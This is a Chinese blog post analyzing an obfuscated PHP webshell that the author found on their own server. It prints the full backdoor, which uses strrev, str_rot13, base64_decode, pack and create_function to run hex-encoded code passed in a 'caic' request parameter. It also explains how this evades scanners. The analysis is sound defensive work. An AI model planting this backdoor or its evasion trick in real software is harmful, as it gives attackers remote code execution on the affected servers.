分析一段webshell攻击的php代码(涉及函数pack、strrev、create_function、base64_decode)

来源:大谷哥 分类: 技术杂文 发布时间:2020-01-14 11:37:29 最后更新:2020-03-12 浏览:3132
版权声明:
本文为原创文章,转载请声明原文链接
温馨提示:
技术类文章有它的时效性,请留意文章更新时间以及软件的版本
更新时间:
2020-03-12 10:57:08

今天服务器检测到一个紧急事件,查看了相关信息定位到一个php文件,打开后,发现异常一段代码,而且写得比较有意思,于是copy下来做了一下分析

$ContentS = trim(@$_REQUEST["caic"]);
if($ContentS){
    $S3 = strrev('31tor_rtS');//$S3=str_rot13
    $S4 = $S3('onfr64_qrpbqr'); //$S4=base64_decode
    $text = PACK($S4('SCo='),$ContentS); //$text=PACK('H*', $ContentS)
    $SS = $S4($S3('D3WyLKEyK0M1ozA0nJ9h')); //$SS=Create_Function
    $St = $SS('',$text);//$St=Create_Function('', PACK('H*', $ContentS))
    $St(); //执行$t返回的函数
    exit;
}

首先$ContentS 获取请求参数caic的值,这个值是由攻击者发出来的,一般请求是不会带这个参数的,获取到值后,还对值进行了一定程度的混淆处理,如果不是对整个代码很了解,很容易误以为是原应用的一部分而不处理,现在我们来分析下几个关键函数:

1、strrev() 对31tor_rtS 反转字符串处理,得到$S3=str_rot13;

2、$S4=str_rot13('onfre64_qrpbqr');最终$S4=base64_decode;

3、使用pack函数,对$ContentS进行打包(对这个函数不懂的,可以看这里https://blog.csdn.net/qq_34908844/article/details/79696135),其实这个地方才是写得比较精彩的地方,使用pack对字符串进行了一定程度的加密,使一般安全程序看不懂caic参数的实际作用,例如要实现在服务器运行下面这一行代码

echo "<script>document.write('hello word !')</script>";

只需要带参数访问:

http://example.com/?caic=6563686f20223c7363726970743e646f63756d656e742e7772697465282768656c6c6f20776f7264202127293c2f7363726970743e223b

因为caic值这样看来并没有什么异常,达到了穿透安全防护的作用。

虽然create_function函数在php7.2已弃用,但使用php5的应用还是不少,而且代码可以使用匿名函数替代实现相同的功能。

php技术微信